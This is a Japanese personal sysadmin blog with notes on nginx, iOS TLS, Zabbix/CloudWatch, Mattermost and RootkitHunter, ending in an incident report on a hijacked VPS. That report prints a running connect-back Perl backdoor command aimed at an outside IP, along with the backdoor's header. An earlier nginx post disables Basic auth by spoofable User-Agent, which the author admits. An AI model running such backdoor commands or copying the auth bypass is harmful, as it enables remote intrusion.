zuntan02のはてなブログ

備忘録的なものです。時々職場の技術者ブログにも転記してますが、メインはこちらで。

Webプッシュ通知解除(PCブラウザ)

【参考】

https://blog.izooto.jp/disable-web-push-notifications/

Chrome

1)Chromeで右上メニューボタン→[設定]→[詳細設定]→[コンテンツの設定](chrome://settings/contentへの接続でも可)を表示
2)[通知]で許可している通知を[削除]

FireFox

1)Firefoxで右上メニューボタン→[オプション]→[プライバシーとセキュリティ]→[通知]の[設定]で[通知の許可]を表示
2)ウェブサイトを選択して[ウェブサイトを削除]でクリア、変更を保存

■Edge

1)Edgeで右上メニューボタン→[設定]→[詳細設定を表示]→[Webサイトのアクセス許可]を表示
2)[通知]で許可している通知を[×]でクリア

【nginx】Basic認証したサイトでapple iOSアプリをOTA配布するときに何度もbasic認証出て辛いのでUA見てOFFにする

【前提】

https://hogehoge/install/以下に

  • index.html→ダウンロードページにplistへのリンクを設定してある
ex. <a href="itms-services://?action=download-manifest&url=https://hogehoge/install/hogehoge.plist">install app</a>
  • hogehoge.plist
  • hogehoge.ipa

が入っている。
Webサーバはnginx、かつ/install以下はBasic認証により保護される

【発生した問題】

単純に/install以下をbasic認証とした場合、
index.htmlでBasic認証→hogehoge.plistでBasic認証→hogehoge.ipaBasic認証、と3回もID/PWの入力が必要となる。
アクセスログを見ると以下のようになっている

"GET /install/index.html HTTP/1.1" 401 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS(略)"
"GET /install/hogehoge.plist HTTP/1.1" 401 "-" "itunesstored/1.0 (略)"
"GET /install/hogehoge.ipa HTTP/1.1" 401 "-" "com.apple.appstored/1.0(略)"

最初(index.html)のbasic認証の後、そのままではplistとipaの取得時にそれぞれ別のクライアントからの接続があるため、Basic認証の承認状態が引き継がれずに都合3回ID/PWの入力が必要となる。

このため、UAを見て

  • itunesstored
  • com.apple.appstored

に前方一致なら許可とした。


【hogehoge.conf】

server {
    # port
    listen       443;
(中略)
     # for install pages
     set $auth "Restricted";
     if ($http_user_agent ~ (itunesstored|com.apple.appstored)) {
         set $auth off;
     }

     location ^~ /install {
          auth_basic $auth;
          auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
          root /path/to/root/;
     }
(中略)
}

UAを偽装されてしまうとどうしようもないけど、まあこんなもんかな……

【iOSとSSL】iOSのsafariで特定のサイトを開こうとすると「ページが開けません」となる

【概要】

nginxにLet'sEncryptでSSLを設置したサーバーにiOSSafariで接続すると
「ページを開けません。ネットワーク接続が切れました」
f:id:zuntan02:20180523190217p:plain
となった。勿論インターネットには接続している。

同じサイトに対して

などでは普通に表示できる。iOSのみだめ。

【やったこと】

■表示できなかった

server {
    listen 443;
    server_name hogefuga.jp;
    ssl on;

    ssl_protocols  TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE

    # Let's Encrypt
    ssl_certificate     /etc/letsencrypt/live/hogefuga.jp/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/hogefuga.jp/privkey.pem;

    root /srv/www/hogefuga/;
    index  index.php index.html index.htm;
}


■表示できるようになった

server {
    listen 443;
    server_name hogefuga.jp;

    # SSL Settings
    ssl on;
    ssl_session_cache   shared:SSL:10m;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;
    ssl_ciphers  'ECDH !aNULL !eNULL !SSLv2 !SSLv3';

    #HTTP Strict Transport Security
    add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains; preload';

    # Let's Encrypt
    ssl_certificate     /etc/letsencrypt/live/hogefuga.jp/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/hogefuga.jp/privkey.pem;

    root /srv/www/hogefuga/;
    index  index.php index.html index.htm;
}

iOSSSLに厳しい模様。

ZabbixでCloudWatchの値を取得する

【概要】

aws-sdkを利用して、ELBやRDSをzabbixで監視する
zabbixの外部チェック機能を利用する

【参考】

aws-sdk-coreを利用して、ELBやRDSをzabbixで監視する | システム運用日記
↑ほぼここの内容のコピペですが、実行インスタンスにロールに権限がついてない場合、または別AWSアカウントで稼働しているzabbixから別のAWSアカウントの持つCloudWatchを監視するために、zabbixアカウントが利用するcredentialsに複数profileを書いて利用できるよう、一部追加しました

https://qiita.com/ryo0301/items/39308a5dc457b5df59ee
https://qiita.com/kenjiskywalker/items/2c29f8f532880cb81aef
https://gist.github.com/yokota-shinsuke/7350559
https://qiita.com/bakira/items/3a4876cbb39f9a7ec3b8

【作業ログ】

#Zabbixサーバにて以下のモジュールを導入
gem install aws-sdk-core

# aws-sdkのバージョン3ではうまく動かない模様。aws-sdk(v2)を追加でインストール
gem install aws-sdk -v "~>2"

gem list
(抜粋)
# aws-sdk (2.11.33)
# aws-sdk-core (3.19.0, 3.6.0, 2.11.33)
# aws-sdk-resources (2.11.33)

実行アカウントの設定

# ※複数のAWS認証情報を利用する場合は、profile機能を利用する
# aws hogehoge --profile ${profile}

AWS Management Console

# CloudWatch用IAMユーザ作成
ユーザ名:zabbix
AWSアクセスの種類:プログラムによるアクセス
グループ:CloudWatch(CloudWatchFullAccess)←とりあえずテストなのでこれくらいの権限で

zabbixサーバで認証情報登録

# zabbixユーザにbashを設定する

mkdir /var/lib/zabbix
cp -p /etc/skel/.bash_profile /var/lib/zabbix/

# zabbixアカウント用のアクセスキー等を配置

sudo -u zabbix aws configure
# AWS Access Key ID [None]: hogehoge
# AWS Secret Access Key [None]: fugafuga
# Default region name [None]: ap-northeast-1
# Default output format [None]:json
複数アカウントを利用できるようにプロファイルを用意しておく

vi /var/lib/zabbix/.aws/config

[profile awshoge]
output = json
region = ap-northeast-1

[default]
region = ap-northeast-1

vi /var/lib/zabbix/.aws/credentials

[awshoge]
aws_access_key_id = hogehoge
aws_secret_access_key = fugafuga

[default]
aws_access_key_id = XXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXX

zabbixから実行する cloud_watch を作成

vi /usr/lib/zabbix/externalscripts/cloud_watch

#!/usr/bin/ruby

require 'rubygems'
require 'aws-sdk'
require 'optparse'

params = ARGV.getopts(
  "",
  "region:",
  "profile:",
  "namespace:",
  "metric:",
  "dimension_name:",
  "dimension_value:",
  "statistics:",
  "unit:"
)


creds = Aws::SharedCredentials.new path: '/var/lib/zabbix/.aws/credentials', profile_name: params['profile']
Aws.config[:credentials] = creds

cw = Aws::CloudWatch::Client.new(
    :region => params['region'],
)

resp = cw.get_metric_statistics(
    namespace: params['namespace'],
    metric_name: params['metric'],
    dimensions: [
        {
            name: params['dimension_name'],
            value: params['dimension_value'],
        },
    ],
    start_time: Time.now - 300,
    end_time: Time.now,
    period: 300,
    statistics: [params['statistics']],
    unit: params['unit'],
)

    data = resp[:datapoints]
    last_stats = data.sort_by{ | stat | stat[:timestamp]}.last

        if last_stats.nil? then
                exit
        else
        p last_stats[params['statistics'].downcase.to_sym].to_i
    end

chmod 755 /usr/lib/zabbix/externalscripts/cloud_watch

# テスト実行

sudo -u zabbix /usr/lib/zabbix/externalscripts/cloud_watch --region ap-northeast-1 --namespace AWS/RDS --metric CPUUtilization --dimension_name DBInstanceIdentifier --dimension_value ホスト名 --statistics Average --profile awshoge

zabbixWebUIから設定

例:CPUUtilization

1.設定→テンプレート→テンプレートの作成ボタンを押下
ホスト名:RDS-awshoge
(そのほかはデフォルトのまま)にして作成

3.設定→テンプレート→「RDS-awshoge」の「アイテム 」リンクを押下
[アイテムの作成]にて

名前:RDS CPU Usage
タイプ:外部チェック
キー:cloud_watch["--metric","CPUUtilization","--dimension_name","DBInstanceIdentifier","--dimension_value","{HOST.NAME}","--statistics","Average","--namespace","AWS/RDS","--region","ap-northeast-1","--profile","awshoge"]
データ型:数値(浮動小数)
単位:%
更新間隔(秒):60
として作成

これで値が取れるようになりました。

【AmazonLinux+Mattermost4.8.0】初期プラグイン(ZOOM/JIRA)が有効にならない件

【問題】

[システムコンソール]-[プラグイン(ベータ版)]-[設定]で有効にしてもプラグインがつかえない。
インストールされていないのかと思ってtgz拾ってきてアップロードしようとすると「プラグインは無効化されています」と言われる。
アプリケーションログ(/opt/mattermost/log以下)を見ると

[2018/04/04 19:42:05 JST] [EROR] failed to start up plugins: mkdir ./client/plugins: no such file or directory
[2018/04/04 19:42:06 JST] [EROR] /api/v4/plugins:GetPlugins code=501 rid=(中略) Plugins have been disabled. [details: ]

みたいなログ。

【解決】

vi /etc/init.d/mattermost

SERVICE=mattermost
start() {
    cd /opt/mattermost/bin
    sudo -u mattermost ./platform > /dev/null &
    echo "service $SERVICE [start]"

を以下の様に変更

SERVICE=mattermost
start() {
    cd /opt/mattermost/
    sudo -u mattermost ./bin/platform > /dev/null &
    echo "service $SERVICE [start]"
}

【情報】

https://github.com/mattermost/docs/blob/master/source/administration/plugins.rst
曰く
the working directory for the service running Mattermost is not correct.
This can be fixed on Ubuntu 16.04 and RHEL by opening the service configuration file and setting WorkingDirectory to the path to Mattermost, often /opt/mattermost.

mattermost.log見ると

[2018/04/04 19:47:46 JST] [INFO] 現在のワーキングディレクトリーは/opt/mattermost/binです

なので、最初のcdを/opt/mattermostにしてやればよかった。
ググっても殆どヒットしないのでニッチな情報だと思いますが、誰かの役に立てば。。。

AmazonLinuxにRootkitHunter導入したメモ

【参考】

https://sys-guard.com/post-15162/
(ここほぼそのまま)

【作業メモ】

RootkitHunterのインストール

yum install rkhunter

Installed:
  rkhunter.noarch 0:1.4.2-0.9.amzn1
rootkithunterのセキュリティデータベースアップデート

以下に示す

rkhunter --propupd
rkhunter --update

を実行したらエラーが出たりしたので、/etc/rkhunter.confファイルで回避した。

cp -p /etc/rkhunter.conf /etc/rkhunter.conf.org
vi /etc/rkhunter.conf 
→(中略)
→変更後変更内容確認
diff /etc/rkhunter.conf /etc/rkhunter.conf.org
587c587
< # SCRIPTWHITELIST=/usr/bin/GET
---
> SCRIPTWHITELIST=/usr/bin/GET
590d589
< XINETD_ALLOWED_SVC=/etc/xinetd.d/xproftpd


→設定ファイルを編集したら、「rkhunter --propupd」を実行

システムファイルの情報アップデート

rkhunter --propupd

[ Rootkit Hunter version 1.4.2 ]
File created: searched for 170 files, found 144
検知対象情報アップデート

rkhunter --update

[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ No update ]
  Checking file programs_bad.dat                             [ Updated ]
  Checking file backdoorports.dat                            [ No update ]
  Checking file suspscan.dat                                 [ Updated ]
  Checking file i18n/cn                                      [ No update ]
  Checking file i18n/de                                      [ Updated ]
  Checking file i18n/en                                      [ No update ]
  Checking file i18n/tr                                      [ Updated ]
  Checking file i18n/tr.utf8                                 [ Updated ]
  Checking file i18n/zh                                      [ Updated ]
  Checking file i18n/zh.utf8                                 [ Updated ]

初回チェック

rkhunter -c --rwo --sk

-c チェック
--sk エンターキー要求をスキップ
--rwo 警告のみ表示
定期実行スクリプトの設置

vi /hoge/rkhunter.sh

#!/bin/sh

## -------------------------------
MAILTO=hoge@fugafuga.com
## -------------------------------

MAILBODY=`mktemp /tmp/temp.XXXXXX`

# rootkit判定データベース更新
/usr/bin/rkhunter --update > /dev/null 2>&1

# チェック実行 異常があればメールを行う
/usr/bin/rkhunter -c --sk --cronjob --rwo 2>&1 > $MAILBODY
if [ -s $MAILBODY ]; then
    mail -s "[Rootkit Hunter] `hostname` `date +%Y-%m-%d`" $MAILTO < $MAILBODY
fi

rm -f $MAILBODY
実行権限をつけて実行
chmod +x /hoge/rkhunter.sh
sh /hoge/rkhunter.sh

# 証明書の自動更新 1日1回
crontab -e

10 4 * * * /srv/bin/rkhunter.sh > /dev/null 2>&1

# 初回実行後にアカウントを追加したりしていると以下のようなメールが来る

[Rootkit Hunter] hogehoge.jp 2018-08-27

Warning: User 'zabbix' has been added to the passwd file.
Warning: Group 'zabbix' has been added to the group file.

さくらのVPSで長らく放置していたCentOS5環境が乗っ取られていた

【経緯】

練習用に配布していたVPSの環境を整理しようとしてログインしてsu - したら

su: user root does not exist

といわれる。

プロセスを確認すると、rootがfirefartというユーザにリネームされているような状態。

s aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
firefart     1  0.0  0.0  10372   688 ?        Ss    2015   0:12 init [3]
firefart     2  0.0  0.0      0     0 ?        S<    2015   0:29 [migration/0]
firefart     3  0.0  0.0      0     0 ?        SN    2015   0:00 [ksoftirqd/0]
firefart     4  0.0  0.0      0     0 ?        S<    2015   0:00 [watchdog/0]
firefart     5  0.0  0.0      0     0 ?        S<    2015   0:15 [migration/1]
firefart     6  0.0  0.0      0     0 ?        SN    2015   0:00 [ksoftirqd/1]
firefart     7  0.0  0.0      0     0 ?        S<    2015   0:01 [watchdog/1]
firefart     8  0.0  0.0      0     0 ?        S<    2015   3:48 [events/0]
firefart     9  0.0  0.0      0     0 ?        S<    2015   1:26 [events/1]
firefart    10  0.0  0.0      0     0 ?        S<    2015   0:08 [khelper]
firefart    19  0.0  0.0      0     0 ?        S<    2015   0:00 [kthread]
firefart    24  0.0  0.0      0     0 ?        S<    2015   0:01 [kblockd/0]
firefart    25  0.0  0.0      0     0 ?        S<    2015   0:00 [kblockd/1]
firefart    26  0.0  0.0      0     0 ?        S<    2015   0:00 [kacpid]
(省略)
nobody    4826  0.0  0.1  10820  1072 ?        S    Feb16   0:00 sh -c perl kl.txt 96.125.170.94 21 2>&1 3>&1
nobody    4827  0.0  0.4  33312  4344 ?        S    Feb16   0:00 perl kl.txt 96.125.170.94 21

このkl.txtというのが/tmpの下に置かれていて、

!/usr/bin/perl
use IO::Socket;
#Cold-z3ro  Connect Back Shell
#code by:Cold-z3ro www.4azhar.com c.o.1.d.0@hotmail.com
#
#
#Cold-z3ro@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by Cold-z3ro ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#Cold-z3ro@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by Cold-z3ro  ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
(省略)

あー。なんかすみません。

他にも/tmpの下には怪しいファイルがてんこ盛り

drwxrwxrwt 72 firefart root       4096 Mar 23 14:24 .
drwxr-xr-x  2 nobody   nobody     4096 Mar 11 09:50 .
drwxr-xr-x 23 firefart root       4096 Sep  1  2015 ..
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 09:22 .aaapasiddwww
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 04:40 .aepsouasxxxwer
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 03:41 .apxcusug
drwxr-xr-x  2 nobody   nobody     4096 Dec 24  2010 bb
-rw-r--r--  1 nobody   nobody   176245 Mar  3 05:58 bb.zip
drwxr-xr-x  3 nobody   nobody     4096 Feb 19 14:29 .cpdiueixxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 14 01:52 .dposuxxxx
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 07:10 .eodsdfolqrqre
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 00:41 .eodsxxweuee
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 23:51 .eodusudxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 07:59 .eouuidffwe
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 09:22 .epdosudffs
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 09:58 .epfsudfqeqew
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 00:15 .epqwiuxxllsdifu
-rw-r--r--  1 nobody   nobody  3331445 Mar 11 09:45 e.tgz
drwxr-xr-x  2 nobody   nobody     4096 Mar  7 08:06 etn
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 07:22 .fsodgfudfisd
drwxr-xr-x  2 nobody   nobody     4096 Mar  1 10:20 .hahayysdfds
drwxrwxrwt  2 firefart root       4096 Aug 26  2015 .ICE-unix
drwxr-xr-x  3 nobody   nobody     4096 Feb 20 08:14 .ipqqqqiiewer
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 02:24 .iuewyreuwtr
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 00:46 .kaisoxaisqqq
-rw-r--r--  1 nobody   nobody     1995 Jan 28 18:22 kl.txt
-rw-r--r--  1 nobody   nobody     1995 Jan 28 18:22 kl.txt.1
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 16:36 .losdiuqweqw
drwxr-xr-x  2 nobody   nobody     4096 Jan  1 00:01 min
-rw-r--r--  1 nobody   nobody  1307222 Feb 21 08:03 min.tgz
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 06:14 .odsfyiwekrwe
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 02:05 .oiieworqqw
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 10:00 .osdfdsfogf
drwxr-xr-x  2 nobody   nobody     4096 Feb 19 13:43 .osdixxxqwee
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 08:55 .p
drwxr-xr-x  3 nobody   nobody     4096 Feb 16 03:59 .paidufyxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 25 07:56 .pdidysucsdfsd
drwxr-xr-x  3 nobody   nobody     4096 Mar  9 22:21 .pdsifxxqytqtrwe
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 03:57 .pefiuwewerowe
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 17:10 .pfsiduqeqw
-rw-r--r--  1 nobody   nobody    41917 Mar  3 06:02 pico
drwxr-xr-x  3 nobody   nobody     4096 Feb 28 10:13 .pidsufsdoqr
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 03:30 .ppoiwqerower
drwxr-xr-x  3 nobody   nobody     4096 Feb 22 04:16 .psadfiuxiiqwqr
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 09:07 .psdfyyqwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 26 22:57 .psiduasidxxx
-rw-r--r--  1 nobody   nobody 11865549 Mar 11 08:56 p.tgz
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 01:43 .pwidisdxxsdg
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 11:38 .pwiuifksdsf
drwxr-xr-x  3 nobody   nobody     4096 Mar  2 05:02 .qoisofgodg
drwxr-xr-x  2 nobody   nobody     4096 Mar 12 15:36 .radiasiasa
drwxr-xr-x  3 nobody   nobody     4096 Mar 13 14:30 .radicalspiasdf
drwxr-xr-x  3 nobody   nobody     4096 Mar 13 16:32 .raldoasopww
drwxr-xr-x  2 nobody   nobody     4096 Feb 21 08:07 .sdfgigdfgdfgdfgdf
drwxr-xr-x  3 nobody   nobody     4096 Feb 16 06:33 .sdfguiowrfdfdg
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 10:05 .sdgfduguiwerew
drwxr-xr-x  3 nobody   nobody     4096 Feb 17 13:29 .sdifdsfxx
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 11:27 .sdifuixwerwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 01:36 .sdjfusdiqeq
drwxr-xr-x  2 nobody   nobody     4096 Feb 27 11:28 .sdkifusdf
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 11:09 .sdofdfgqweqw
drwxr-xr-x  3 nobody   nobody     4096 Feb 17 13:27 .sdofiosrwrwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 01:01 .sdufuqrerewr
drwxr-xr-x  3 nobody   nobody     4096 Feb 14 02:41 .sdywyuqxxxx
-rw-------  1 nobody   nobody      112 Mar 19 16:49 sess_bcdc55fec762cd39f63c998a5b3b56f3
-rw-------  1 nobody   nobody      112 Mar 23 14:47 sess_fab50cb89f14720c8e4d42555c4ce69b
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 10:43 .sidgfuiwrw
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 15:21 .spdofdsujxxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 01:24 .spoiaudxxx
drwxr-xr-x  2 nobody   nobody     4096 Feb 27 11:49 st
-rw-r--r--  1 nobody   nobody     7638 Feb 27 12:05 st.tgz
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 15:37 .woefifudfweqe
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 01:28 .wpdisdifdssx
drwxr-xr-x  3 nobody   nobody     4096 Feb 25 21:52 .wpowuydasudi
drwxrwxrwt  2 firefart root       4096 Aug 26  2015 .X11-unix
drwxr-xr-x  2 nobody   nobody     4096 Feb 16 10:03 xp
drwxr-xr-x  3 nobody   nobody     4096 Feb 19 14:13 .xpuitgdfsddsg
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 13:10 .xpxisuiqwer
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 02:33 .xxuyyyhqwreqwr
drwxr-xr-x  3 nobody   nobody     4096 Feb 20 01:37 .zcjsfuwrwe
drwxr-xr-x  3 nobody   nobody     4096 Feb 28 01:07 .zlucudfidskgsf
drwxr-xr-x  3 nobody   nobody     4096 Feb  9 23:13 .zpoxaiuwewe

【原因】

hosts.allowでsshの接続は締めていたが、このうえで動いていた(今となっては素性不明の)検証用PHPにいろいろとPOSTされており、乗っ取られたのかな……と想定

この環境は滅ぼしました